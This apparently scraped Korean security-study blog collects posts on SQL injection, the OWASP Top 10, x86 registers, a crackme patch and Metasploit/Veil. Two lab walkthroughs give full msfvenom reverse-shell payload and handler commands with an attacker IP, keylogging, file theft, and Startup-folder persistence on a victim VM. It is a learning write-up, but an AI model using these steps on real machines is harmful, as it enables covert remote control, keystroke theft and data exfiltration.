반응형




안녕들 하시죠 !


오늘은 그 유명한 SQL Injection에 대해 알아보겠습니다.


우선 KISA에서 배포한 ' 홈페이지 취약점 진단ㆍ제거 가이드 ' 와 OWASP TOP 10 자료를 참고해봤습니다.


아래에 파일 있으니 참고해보세요.


홈페이지 취약점 진단제거 가이드.pdf


OWASP Top 10 2017.pdf


SQL Injection 이란?


데이터베이스와 연동된 웹 어플리케이션에서 SQL 질의문에 대한 필터링이 제대로 이루어지지 않을 경우 공격자가 입력이 가능한 폼( 웹 브라우서 주소 입력창 또는 로그인 폼 등 )에 조작된 질의문을 삽입하여 웹 서버의 데이터베이스 정보를 열람 또는 조작을 할 수 있는 취약점.


한마디로 웹브라우저에 조작된 값을 입력하여 DB에 있는 정보를 건들 수 있게되는 취약점.


아래는 SQL Injection 동작 과정입니다.


「 OWASP TOP 10 


「 홈페이지 취약점 진단ㆍ제거 가이드 





아래는 취약점 확인 방법 및 판단 기준입니다.


「 OWASP TOP 10 


「 홈페이지 취약점 진단ㆍ제거 가이드 



아래에는 대응 방안입니다.

필터링을 통하여 공격자가 임의의 조작된 값( ex) 'or 1=1 -- )을 입력하는 것을 방지하는 것이 중요합니다.


웹방화벽 ( 공격 문자가 오기 전에 차단 )을 통해 모든 사용자 입력 폼( 로그인 폼, 검색 폼, URL 등 )을 대상으로 특수문자, 특수구문 필터링 규칙을 적용.

또는 개발 단계에서 시큐어 코딩을 적용하여 임의로 파라미터를 입력하지 못하도록 필터링 적용.


「 홈페이지 취약점 진단ㆍ제거 가이드 



뒤에 있을 게시물에서는 직접 SQL Injection을 해보고 Lord of SQL Injection 사이트에서 문제를 풀어볼 계획 입니다.


오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


오늘은 Veil Framework 를 설치해 보겠습니다.

Kali linux에서 진행할꺼구요.

Veil에는 총 5가지 모드가 있습니다.


veil evasion 백신우회 악성코드 제작.

veil ordnance 인코딩된 쉘코드를 생성.

veil catapult 피해자의 컴퓨터에 악성코드를 배달

veil powertools 파워셸 프로젝트를 하나로 묶어놓은 공격형 도구

veil pillage 포스트 익스플로잇 기술을 사용해 내부 침투를 수행하기위한 도구



Veil framework github

https://github.com/Veil-Framework/Veil 



빨간 네모 부분 주소를 복사합니다.


kail linux 터미널창에 아래와 같이 입력해주세요.

git clone https://github.com/Veil-Framework/Veil.git



apt-get update

apt-get upgrade


시간이 꽤나 오래 걸립니다.


ls - cd Veli - cd config - ./setup.sh - y입력 하시면 설치가 진행 됩니다.



python setup 설치 next를 눌러 쭉 진행

pywin32 설치 next를 눌러 쭉 진행

pycrypto도 마찬가지.

language english선택

ruby설치 accept선택 쭉 next를 눌러서 진행하시면 설치가 완료됩니다.


그다음 Veil폴더에서 ./Veil.py로 실행해줍니다.


혹시 여기서 실행이 안되신다면,  


cp -R '/var/lib/veil/wine/drive_c/Program Files (x86)/AutoIt3' '/var/lib/veil/wine/drive_c/Program Files/' 를 입력하시면 해결됩니다.





설치가 되었습니다.

Evasion, Ordnance 2가지가 있고 나머지 3개는 필요할 때 설치해야겠습니다.

1번 Evasion을 사용하려면 use 1 이라고 입력하시고, 

list 명령어를 사용하시게되면 페이로드 목록이 나오게됩니다.


앞으로 Veil Framework 를 사용하여 다양한 기능들을 접해보겠습니다.


오늘은 여기까지 입니다 감사합니다 !


반응형




안녕들 하시죠 !


드디어 개인적으로 첫번째 목표인 crackme 부분까지 오게 됬습니다.

이부분을 공부하며 어셈블리어와 친숙해지고 싶습니다.

abex' crackme #1 파일을 가지고 조금 시간이 걸리더라도 하나하나 분석해서 알고 넘어가볼 생각입니다.

아래의 샘플을 사용하시면 됩니다.


abex' crackme #1.exe


한번 실행을 해보겠습니다.


내가 생각하게 만들어라 너의 HD가 CD-Rom이라고... 뭔소리지 했습니다.

확인을 눌러보면,


요런 식으로 Error가 뜨네요.


Ollydbg로 열어보겠습니다.


요런식으로 뜨네요.

음 추측을 해보자면... 출력부를 보면 여기가 Main문인것 같긴하고, 40103D부분을 출력하게되면 성공하는것 같네요.

책을 찾아보니 401013주소의 GetDriveType() API로 C드라이브의 타입을 얻어오는데 이걸 조작해야 합니다.


Win32 API 코드를 아예 몰라서 MessageBoxA() 부분만 한번 가볍게 찾아봤습니다.

crackme #1 같은 경우 이정도만 알아도 이해가 가능했습니다.

추후에 더 공부해보고 틀린 부분이있다면 수정하겠습니다.


MessageBoxA( ①, ②, ③, ④ )


① : hOwner ( 메시지 박스의 오너 윈도우. 메시지 상자를 소유한 윈도우를 말하며 메시지 박스가 떠있는동안 다른 행위를 할수없다 )

② : text ( MessageBox에 출력할 텍스트, 여기에선 Make me think your HD is a CD-Rom 부분 )

③ : title ( MessageBox 윗부분의 텍스트, 여기에선 abex' 1st crackme 부분 )

④ : style ( MB_OK = OK버튼 1개, MB_OKCANCEL = OK와 CANCEL 총 2개 버튼 등 몇몇 종류의 값이 있습니다.)


abex' crackme #1 파일은 어셈블리 언어로 만들어졌기 때문에 보시는바와 같이 코드가 간결합니다.

VC++, VC, Delphi 등의 개발툴을 사용하면 Stub Code가 추가되서 저번시간처럼 복잡한 코드를 보게 되는거였습니다.


먼저, 어셈블리 명령어를 알아보고 한줄한줄씩 직접 이해하고 넘어가보겠습니다.


명령어 

설명 

 PUSH

스택에 값을 입력 

 CALL

지정된 주소의 함수를 호출 

 INC

값을 1 증가 

 DEC

값을 1 감소 

 JMP

지정된 주소로 점프 

 CMP

주어진 두 개의 operand 비교

* SUB 명령어와 동일하나 operand 값이 변경되지 않고 EFLAGS 레지스터만 변경됨 ( 두 operand의 값이 동일하다면 SUB 결과는 0이고 ZF = 1로 세팅됨 )

 JE

조건분기( JUMP if equal ) *ZF = 1이면 점프 


아래 이미지를 보시면, 

Title = "abex' 1st crackme" 는 402000 주소에 들어있구요.

Text = "Make me think your HD is a CD-ROM. 은 402012 주소에 들어있습니다.




이제 코드를 한번 봐보겠습니다.


401000 주소에서 MessageBoxA()를 호출하고 있고,

Title, Text, hOwner가 우리가 아는 MessageBoxA함수 순서와 반대로 들어있는거같네요 ?

실제 C 소스코드는 MessageBox(NULL, "Make me think your HD is a CD-ROM.", "abec' 1st crackme", MB_OK|MB_ARRPLMODAL); 입니다.


스택 메모리 구조는 먼저 들어간것이 나중에 나오는 형태( FILO )이기 때문에 파라미터를 역순으로 넣어주면 받는 쪽에서 올바른 순서로 꺼낼 수 있기 때문입니다.


40100E주소의 MessageBoxA를 실행하면 


딱 요까지 나오고 확인을 누르면 꺼집니다.


다음 코드를 보면,


GetDriveType() API로 C드라이브 타입을 얻어오는 부분입니다.

401018주소를 지나면서 우측에 있는 Registers 창의 값들이 변하는걸 봤습니다.


우선 첫번째,

401026 주소의 JE( Jump if Equal ) 명령어를 JMP( 점프 ) 명령어로 바꿔주어 EAX 와 ESI의 값에 상관없이 원하는 출력을 하게 만들겠습니다.


# 40101F주소의 JMP명령어를 보시면 바로밑의 주소로 점프를 하라고 하는데 이러한 경우 의미없는 garbage code 라고 합니다.


# 401024 주소의 CMP EAX, ESI 

   401026 주소의 JE SHORT 40103D

   = EAX와 ESI 값을 비교하여 두 값이 같으면 40103D로 점프, 다르면 바로 밑에 있는 주소( 401028 )로 진행.



성공했습니다 !


이제 두번째 방법으로 궁금했던 EAX와 ESI값을 수정해서 성공시켜보겠습니다.


GetDriveTypeA 함수를 지나며 오른쪽 Registers 창의 EAX와 ESI를 잘 보셔야 할 것 같습니다.

하드디스크 c 드라이브를 인식한 후 EAX는 3으로 세팅이 되고, ESI는 주소값 401000으로 나옵니다.


그래서 c 드라이브의 EAX 값에는 어떤 종류가 있을까 싶어 찾아봤습니다. 


https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-getdrivetypea


구글에 GetDriveTypeA 로 검색한 결과입니다.


검색 결과를 보니 Hard drive나 flash drive는 3, CD-ROM은 5로 나타나고 있으니 맞는 것 같습니다.


자, 그럼 이제 EAX와 ESI 값을 변경하여 JE 명령어를 실행할 때 같은값으로 인식하게 만들겠습니다.


401024 주소까지 진행을 하게되면 EAX = 1, ESI = 401003 의 값을 가지고 있는것을 확인할수 있습니다.

그럼 EAX의 값을 401003으로 바꿔 보겠습니다.



성공했습니다.


이제 NOP( 아무것도 하지 않음 ) 명령어로 수정해보겠습니다.



무식한 방법이지만 성공했습니다.

이외에도 INC와 DEC를 수정해보는 방법도 있을것 같습니다.


오늘은 여기까지 입니다 감사합니다 !




참고서적 이승원 「리버싱 핵심원리」 인사이트(2018) p67~74


반응형




안녕들 하시죠 !


오늘은 지난번 게시물 'Backdoor malware 만들기'를 응용하여 피해자PC가 부팅 될때마다 세션이 연결되게 해보려고 합니다.


지난 게시물 msfconsole에서 피해자PC와 세션이 이어져 있는 상태에서부터 진행하겠습니다.


msfconsole에서 피해자PC의 C:\Users\hong\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 폴더로 이동해주세요.


여기서 주의할 점은 Start Menu 폴더로 들어갈때 쌍따옴표를 붙여줘야합니다. ( cd "Start Menu" )

폴더로 이동하신 후에 만든 악성파일을 upload 시키겠습니다.





이제 앞에서 줄줄이 작성했던 페이로드를 조금더 편한 리소스 파일로 만들겠습니다. ( 사실 처음부터 이렇게 할걸 그랬습니다... )

exit 명령어를 입력하시고 다시 kali linux root계정으로 나옵니다.

다음, vi hongpossible.rc 를 입력 하신 후에 i를 눌러 편집모드로 들어가주시구요.


use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp ( 페이로드 세팅 )

set lhost 192.168.0.132 ( 공격자 IP )

set lport 7777 ( 공격자 포트 )

exploit -j


를 작성 후 esc -> :wq 로 저장하고 빠져나옵니다.


그리고 난뒤에 msfconsole -q -r hongpossible.rc 로 리소스 파일을 실행 시켜주시면 피해자PC 세션에 연결되기를 기다리는 상태가됩니다.


피해자PC를 재부팅 해보겠습니다.



왼쪽 피해자PC의 시작프로그램에 보면 hongpossible.exe가 들어가 있고 재부팅하여 로그인을 하자마자 세션에 연결이 되는것을 볼수있습니다.


오늘은 여기까지 입니다 감사합니다 !





참고서적 이상한 「웹해킹 입문」 프리렉(2016) p172~191

studysecurity님의 블로그, Metasploit 실습2 참고

https://m.blog.naver.com/PostList.nhn?blogId=studysecurity

반응형




안녕들 하시죠 !


오늘은 Metasploit을 이용해 Backdoor malware를 만들어보겠습니다.


msfvenom이라는 도구를 사용할거구요.

구성 환경은 VMware를 이용해 Kali linux ( 공격자PC ),  Window7 ( 피해자PC )를 사용했습니다. 


아래에는 msfvenom의 옵션입니다.


p : 적용할 페이로드를 선택한다.

lhost : 상대 목표 시스템에서 접속할 공격자의 IP 주소를 입력한다.

lport : 공격자의 로컬 포트넘버.

f : 파일 타입

x : 셸 코드를 넣을 템플릿 파일( 악성 코드를 넣을 원본 파일 ) 을 지정한다.

k : 원본 파일의 원래 기능을 유지하도록 한다.

e : 백신이나 IDS 탐지를 피할 인코더를 선택한다. 선택한 인코더의 적용 횟수를 -i로 지정한다.

o : 최종으로 만들어질 파일의 경로와 파일명을 지정한다.


우선 터미널에 아래의 페이로드를 만들어 파일을 생성합니다.


msfvenom -p windows/meterpreter/reverse_tcp lhost=본인 kali linux IP lport=임의로 지정 -f exe > /root/Desktop/hongpossible.exe ( 악성 코드가 저장될 위치 )



자, 보시면 바탕화면에 hongpossible.exe 라는 악성파일이 생성되었습니다.


VirusTotal 홈페이지에 제가 만든 hongpossible.exe 악성파일를 올려 검증을 받아보겠습니다.

VirusTotal URL입니다.

https://www.virustotal.com/ko/



거의 대부분의 백신에서 악성파일을 탐지하고있네요.

다음번엔 백신을 우회할 수 있는 방법도 알아봐야겠습니다.



이제 host pc ( 저는 window 10 입니다 )에서 windows defender를 끄겠습니다.

검색 -> windows defender 설정 -> windows defender 보안센터 열기 -> 바이러스 및 보안방지 -> 바이러스 및 보안방지 설정 -> 실시간 보호 끄기



다시 kali linux로 돌아와 터미널에서 msfconsole을 입력해 들어가 주시구요, 핸들러를 사용하겠습니다.


use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp ( 페이로드 세팅 )

set lhost 192.168.0.132 ( 공격자 IP )

set lport 7777 ( 공격자 포트 )

exploit -j


이제 Window7 ( 피해자 ) PC에서 hongpossible.exe를 더블클릭해 실행해주시면 세션이 오픈됩니다.

그다음 sessions 를 입력하면 활성화 된 세션을 볼수있습니다.



sessions -i [ ID ] 를 입력 하시면 연결이 됩니다.


sessions -i 1




이제 간단한 명령어를 통해 3가지 실습을 해보려고 하는데요.


첫번째는 키 스니핑 입니다.

keyscan_start로 시작을하고, key_stop으로 서비스를 실행하고 멈출 수 있습니다.

키 입력 내용은 keyscan_dump로 확인 가능합니다.


kali linux에서 keyscan_start를 입력해 주시구요.

피해자 PC에서 메모장을 켜고 Hello World !를 입력해봤습니다.



위의 이미지를 보시면 피해자 PC에서 입력한 내용을 그대로 훔쳐볼 수 있습니다.


두번째는 방금 피해자PC 에서 입력한 메모장을 Hello라는 폴더에 넣겠습니다.

그리고, download Hello /root/Desktop 명령을 통해 Hello폴더 안에 있는 파일을 kali linux 의 /root/Desktop 경로로 가져오는 명령을 해보겠습니다.



세번째는 upload입니다.

앞에서 hongpossible.exe 를 만든 방법과 동일하게 hello.exe 라는 악성파일을 만들었습니다.

그리고 나서 upload Desktop/hello.exe 명령을 통해 kali linux의 바탕화면에 있는 hello.exe 악성파일을 업로드 시켜보겠습니다.



성공했습니다. 네번째 방법은 다음 게시물에서 진행하겠습니다.


아직 metasploit에 익숙치 못해 하루종일 삽질을 한것 같네요... 하지만 배운것도 많은 하루였습니다.


오늘은 여기까지 입니다 감사합니다 !




참고서적 이상한 「웹해킹 입문」 프리렉(2016) p172~191

studysecurity님의 블로그, Metasploit 실습2 참고

https://m.blog.naver.com/PostList.nhn?blogId=studysecurity

반응형




안녕들 하시죠 !


오늘은 Metasploit 에 대해 알아보겠습니다.


우선 저는 Metasploit을 이용해 악성코드를 만들고 직접 분석해 보고서를 작성해 볼 계획을 가지고 있는데요.


Metasploit


메타스플로잇은 온갖 취약점과 관련한 모든 메타 데이터를 관리하는 프레임워크입니다.

해킹이나 보안 취약점 분석에 많이 쓰이며, 실제 보안 취약점 테스트를 위해 H.D.무어에 의해 개발되었다고하는데요.

오픈소스이고( 루비 기반 ) 최신 취약점을 빠르게 업데이트해주는 장점을 가지고 있습니다.

기본적으로 kali linux에는 Metasploit이 설치되어있습니다.


구성


ㆍ 라이브러리 : REX, MSF Core, MSF Base / 개발에 필요한 API와 기본 클래스 등을 제공.


ㆍ 인터페이스 : 콘솔, CLI, 웹, GUI / 사용자 인터페이스를 제공.


ㆍ 모듈 : Payload, Exploit, Encoder, Nop, Aux / 다양한 공격 형태의 기본 프로그램 제공.


Payload :  취약점을 통해 목표 시스템에서 실행할 셸 코드 등을 말한다.

Exploit : 공격자에 의해 노출된 취약점 이용. 

리스너 : 연결 요청을 기다릴 수 있게 해주는 기능.


앞으로 자주 이용하게 될 msfconsole에 들어가 보겠습니다.

터미널에 msfconsole 이라고 입력하시면 됩니다.



터미널에 msfvenom -l payloads 라고 입력하게되면 운영체제별로 사용할 수 있는 수많은 페이로드들이 나옵니다.




Meterpreter는 목표 시스템의 정보 출력, 프로세스 조정, 화면 캡처 등 많은 기능을 제공합니다.

시스템을 마음대로 다룰 수 있는 매우 강력한 도구이죠. 


Reverse TCP는 프로토콜입니다.

공격자가 목표 시스템으로부터 연결을 받는 것을 말하구요.

악성 코드 등의 실행을 통해 사용자가 공격자가 유도한 시스템으로 접속하는 것입니다.


여기저기 들어가서 검색을 해보니 수많은 기능들이 있어서 다 올리지는 못했습니다.

앞으로 쉬운 멀웨어 부터 만들어보며 그때 그때 기능을 찾아보고 올리겠습니다.


다음시간에는 위에있는 정보들을 활용하여 Payload 작성 -> Listener 구동 -> 접속권한 획득 -> 시스템 제어 순으로 진행해보겠습니다.


오늘은 여기까지 입니다 감사합니다 !




참고서적 이상한 「웹해킹 입문」 프리렉(2016) p155~173

반응형



안녕들 하시죠 !


오늘은 어플리케이션 디버깅을 위해 기본적으로 알아야할 IA-32 ( Intel Architecture 32 비트 )의 레지스터에 대해 공부해보겠습니다.

레지스터 또한 바이트 오더링 처럼 학교다닐때 컴퓨터 구조 시간에 공부했던것 같은데... 다 까먹었습니다.


CPU 레지스터란 ?


레지스터란 CPU 내부에 존재하는 다목적 저장공간 입니다.

우리가 일반적으로 저장공간( 메모리 )라고 얘기하는 RAM( Random Access Memory )와는 조금 성격이 다른데요.

CPU가 RAM에 있는 데이터를 엑세스하기 위해서는 물리적으로 먼 길을 돌아가야 합니다.

하지만 레지스터는 CPU와 한 몸이기 떄문에 고속으로 데이터를 처리할 수 있습니다.


IA-32는 지원하는 기능도 무척 많고 그만큼 레지스터의 수도 많다고합니다.

어플리케이션 디버깅의 초급 단계에서는 앞으로 가장 많이 보게될 Basic Program execution register에 대해 알아두어야 한다고 합니다.


Basic Program execution registers


ㆍ x87 FPU registers

ㆍ MMX registers

ㆍ XMM registers

ㆍ Control registers

ㆍ Memory management registers

ㆍ Debug registers

ㆍ Memory type range registers

ㆍ Machine specific registers

ㆍ Machine check registers 

등등 더 많은 레지스터들이 존재한다고합니다.


또 Basic Program execution registers는 다시 4개의 그룹으로 나눌 수 있다고 합니다.


ㆍ General Purpose Registers ( 32비트 8개 )

ㆍ Segment Registers ( 16비트 6개 )

ㆍ Program Status and Control Register ( 32비트 1개 )

ㆍ Instruction Pointer ( 32비트 1개 )


이후 뒷부분까지 쭉 읽어봤는데요... 레지스터 4개의 그룹을 한번에 다 이해하기는 너무 어려웠습니다.

저자께서는 처음에는 일단 General Purpose Registers 8개와 각각의 쓰임새 정도만 알아두어도 되고, 디버깅을 많이 하다 보면 저절로 쓰임새를 

알게 될 것이라고 하시니 오늘은 General Purpose Registers 에 대해서만 공부해보겠습니다.  


범용 레지스터 ( General Purpose Registers )


범용 레지스터는 범용으로 막 쓰는 레지스터 입니다.

IA-32에서 각각의 범용 레지스터들은 32비트( 4바이트 )씩 8개가 있는데요.

보통은 상수( 연산 처리, 연산 결과 ), 주소 ( 번지지정, 복귀주소 ) 등 작은 데이터의 임시 저장 공간 입니다. 




위에 있는 이미지는 Intel 홈페이지에서 무료 배포중인 IA-32 메뉴얼에서 발췌 했습니다.

4670장이나 되는 방대한 양인데요. 

우리가 찾는 범용 레지스터는 p73~74에 있으니 아래 링크를 참고해보시면 좋을 것 같습니다.


https://www.intel.co.kr/content/www/kr/ko/architecture-and-technology/64-ia-32-architectures-software-developer-manual-325462.html


8개의 범용 레지스터가 있고 각 레지드터들은 16비트 하위 호환을 위하여 몇 개의 구획으로 나뉘어집니다.



가장 위에있는 EAX로 봤을때 ( 1byte = 8bit )


32비트 ( 0 ~ 31 )를 전부 다 사용하고 싶을때는 EAX를,


16비트 ( 0 ~ 15 )만 사용하고 싶을때는 AX를,


AX는 다시 상위 8비트 AH하위 8비트 AL로 나뉘어집니다. 


이해 되시죠 ?


자, 이제 8개를 4개씩 나누어 알아보려고 합니다. 

레지스터 이름 앞에 붙은 E ( Extended )는 예전 16비트 시절부터 존재하던 레지스터들의 크기를 확장시켰다는 뜻입니다.


아래 4개의 레지스터들은 주로 산술연산 ( ADD, SUB, XOR, OR 등 ) 명령어에서 상수나 변수 값의 저장 용도로 많이 사용됩니다.


EAX ( Accumulator Register ) : 산술, 논리 연산을 할때 사용되며 함수의 리턴 값을 저장.

EBX ( Base Register ) : 메모리 주소를 저장.

ECX ( Count Register  ) : 우리가 흔히 아는 반복문에서 카운트로 사용.

EDX ( Data register ) : 보통 EAX와 함께 연동해서 사용하며, 큰수의 복잡한 연산 과 부호 확장 명령에 사용.


아래 4개의 레지스터들은 주로 메모리 주소를 저장하는 용도로 많이 사용됩니다.


EBP ( Base Pointer Register ) : Stack의 시작 주소 저장.

ESP ( Stack Pointer Register ) : Stack의 끝지점 주소가 저장. push pop 에 따라 4byte씩 값이 변한다.

ESI ( Source Index Register ) : 데이터를 조작하거나 복사할 때 데이터의 주소 저장.

EDI ( Destination Index Register ) : 데이터를 복사할 때 목적지의 주소 저장.


낯설은 용어들이 많이나와 혼란스럽지만 자주 봐서 눈에 익혀야 할 것 같습니다.


오늘은 여기까지 입니다 감사합니다 !




참고서적 이승원 「리버싱 핵심원리」 인사이트(2018) p53~58

반응형


안녕들 하시죠 !


오늘은 OWASP Top 10 에 대해 알아보겠습니다.


OWASP(The Open Web Application Security Project)


2004년 부터 현재까지 3~4년에 한번씩 주로 웹에 관한 취약점 중에서 빈도가 많이 발생하고, 보안상 위협을 크게 줄 수 있는 것들을 10가지 선정하여 Top 10 으로 발표하고있는 보안프로젝트입니다.


아래에 한글버전을 pdf파일로 올렸으니 필요하신분 가져가세요. 


OWASP Top 10 2010.pdf


OWASP Top 10 2013.pdf


OWASP Top 10 2017.pdf





위에 있는 이미지를 보시면 2017년도의 Top 10 항목들은 2013년도 항목에 추가되거나 변화된것들이 보입니다.

그만큼 정보보호 분야는 급변하기 때문에 계속 공부 해야하는 필요성을 느꼈습니다.




특이한 점은 인젝션, 크로스 사이트 스크립팅(XSS) 항목은 2010년부터 쭉 상위권을 지키고있습니다.




A1 : 인젝션 ( Injection )


ㆍ SQL, OS, XXE, LDAP 등의 방법을 통해 코드를 주입하여 발생 시키는 취약점

신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써, 인터프리터로 보내질 때 발생

ㆍ 공격자의 악의적인 데이터는 예기치 않은 명령을 실행하거나 올바른 권한 없이 데이터에 접근하도록 인터프리터를 속임


A2 : 취약한 인증 ( Broken Authentication )


ㆍ 인증 및 세션 관리와 관련된 어플리케이션 기능이 종종 잘못 구현되어 발생하는 취약점

ㆍ 공격자들이 암호, 키, 세션 토큰을 위험에 노출시킬 수 있거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 구현상 결함을 악용하도록 허용


A3 : 민감한 데이터 노출 ( Sensitive Data Exposure )


중요데이터가 암호화 되지 않고 전송될 때 데이터를 탈취하거나 보호가 취약한 데이터를 훔쳐서 발생할 수 있는 취약점

ㆍ 공격자가 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하기 위해 보호가 취약한 데이터를 훔치거나 수정하여 사용자 또는 관리자에게 피해를 입힘


A4 : XML 외부 개체 ( XXE : XML External Entities )


ㆍ 웹에서 활용되는 외부 개체는 파일 URI 처리기, 내부 파일 공유, 내부 포트 스캔, 원격 코드 실행과 서비스 거부 공격을 사용하여 내부 파일을 

     공개하는데 활용

ㆍ XML 문서의 외부 개체를 확인하는 과정에서 발생하는 취약점


A5 : 취약한 접근 통제 ( Broken Access Control )


ㆍ 인증된 사용자가 수행할 수 있는 작업에 대한 제한이 적용되어 있지 않은 점을 이용한 취약점

ㆍ 권한이 없는 다른 사용자 계정에 접근, 다른 사용자의 데이터 수정, 접근 등의 기능 수행


A6 : 잘못된 보안 구성 ( Security Misconfiguration )


ㆍ 취약한 기본 설정, 미완성, 개방된 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함된 에러 메시지로 인한 결과

ㆍ 모든 운영체제, 프레임워크, 라이브러리와 어플리케이션을 안전하게 설정 필요

ㆍ 적절한 패치와 업그레이드 진행이 필요


A7 : 크로스 사이트 스크립팅 ( XSS : Cross-Site Scripting )


ㆍ 자바스크립트와 HTML을 생성하는 브라우저 API를 활용한 공격

ㆍ 주로 웹페이지를 업데이트 할 때 발생

ㆍ 사용자 세션 탈취, 웹 사이트 변조, 악성 사이트로 리다이렉션 등의 공격을 수행 가능


A8 : 안전하지 않은 역직렬화 ( Insecure Deserialization )


ㆍ 객체 및 데이터 구조를 이용하여 발생하는 취약점

데이터 변경을 이용하여 접근 통제 우회, 크로스사이트 스크립트 공격 등의 공격 가능


A9 : 알려진 취약점이 있는 구성요소 사용 ( Using Components with Known Vulnerabilities )


취약한 컴포넌트를 이용하여 발생한 취약점

ㆍ 어플리케이션 방어를 약화시키거나 다양한 공격과 영향을 끼칠 가능성이 존재


A10 : 불충분한 로깅 & 모니터링 ( Insufficient Logging & Monitoring )


ㆍ 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자들이 시스템을 공격하고 지속성을 유지할만한 기회를 제공

ㆍ 더 많은 시스템을 중심으로 공격할 수 있게 하며, 데이터를 변조, 추출 또는 파괴할 수 있는 가능성 제공



앞으로 OWASP Top 10을 기반으로 저만의 환경을 구축하고, 하나하나씩 공격 기법들을 시행해본 뒤, 어떤 방식으로 예방하고 대처하는것이 좋을까 ?

에 대해 공부해보고 글을 올리겠습니다.


오늘은 여기까지 입니다 감사합니다 !

+ Recent posts